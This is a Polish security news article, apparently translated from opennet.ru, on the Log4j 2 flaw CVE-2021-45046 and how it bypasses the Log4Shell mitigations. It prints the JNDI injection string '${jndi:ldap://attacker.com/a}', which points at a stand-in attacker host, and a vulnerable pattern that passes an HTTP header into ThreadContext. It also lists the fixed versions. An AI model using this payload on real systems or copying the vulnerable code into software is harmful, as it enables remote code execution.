W realizacji podstawień JNDI w bibliotece Log4j 2 ujawniono jeszcze jedną lukę (CVE-2021-45046), która pojawia się mimo poprawek dodanych w wersji 2.15 i niezależnie od użycia ustawienia „log4j2.noFormatMsgLookup” w celu ochrony. Problem stanowi zagrożenie głównie dla starych wersji Log4j 2, zabezpieczonych za pomocą flagi „noFormatMsgLookup”, ponieważ umożliwia ominięcie ochrony przed poprzednią luką (Log4Shell, CVE-2021-44228), pozwalającej na wykonanie własnego kodu na serwerze. Dla użytkowników wersji 2.15, wykorzystanie luki ogranicza się do tworzenia warunków do awaryjnego zakończenia aplikacji z powodu wyczerpania dostępnych zasobów.
Luka ujawnia się tylko na systemach, w których podczas logowania używane są kontekstowe zapytania (Context Lookup), takie jak ${ctx:loginId}, lub wzorce MDC (Thread Context Map), na przykład %X, %mdc i %MDC. Wykorzystanie tej luki polega na stworzeniu warunków do wyprowadzenia w logu danych zawierających podstawienia JNDI, podczas gdy w aplikacji używane są kontekstowe zapytania lub wzorce MDC, określające zasady formatowania wyjścia w logu.
Badacze z firmy LunaSec zauważyli, że dla wersji Log4j poniżej 2.15 ta luka może być używana jako nowy wektor ataku Log4Shell, prowadząc do wykonania kodu, jeśli podczas logowania używane są wyrażenia ThreadContext, w które wchodzą dane z zewnątrz, niezależnie od włączenia flagi „noMsgFormatLookups” lub wzorca „%m{nolookups}” w celu ochrony.
Ominięcie ochrony polega na tym, że zamiast bezpośredniego podstawienia „${jndi:ldap://attacker.com/a}”, to wyrażenie jest podstawiane poprzez wartość zmiennej pomocniczej, używanej w zasadach formatowania wyjścia w logu. Na przykład, jeśli podczas logowania używane jest kontekstowe zapytanie ${ctx:apiversion}, atak może być przeprowadzony poprzez podstawienie danych „${jndi:ldap://attacker.com/a}” w wartość zapisywaną w zmiennej apiversion. Przykład podatnego kodu: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Wartość nagłówka HTTP „X-Api-Version” jest przekazywana do ThreadContext ThreadContext.put("apiversion", apiVersion); // Przy logowaniu zewnętrzna wartość apiversion będzie przetworzona za pomocą podstawienia ${ctx:apiversion} logger.info("Otrzymano żądanie dla wersji API"); return "Hello, world!"; }
W wersji Log4j 2.15 luka może być wykorzystywana do przeprowadzania ataków DoS poprzez przekazywanie wartości do ThreadContext, które prowadzą do zacięcia się przetwarzania szablonu formatowania wyjścia.
W celu zablokowania luki opublikowano aktualizacje 2.16 i 2.12.2. W wersji Log4j 2.16, poza poprawkami wprowadzonymi w wersji 2.15 oraz powiązaniem zapytań JNDI LDAP z 'localhost', domyślnie całkowicie wyłączono funkcjonalność JNDI i usunięto wsparcie dla szablonów podstawiania wiadomości. Jako obejście ochrony zaproponowano usunięcie klasy JndiLookup z classpath (np. 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Można śledzić pojawianie się poprawek w pakietach na stronach dystrybucji (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) oraz producentów platform Java (GitHub, Docker, Oracle, VMware, Broadcom i Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itd.).
Źródło: opennet.ru
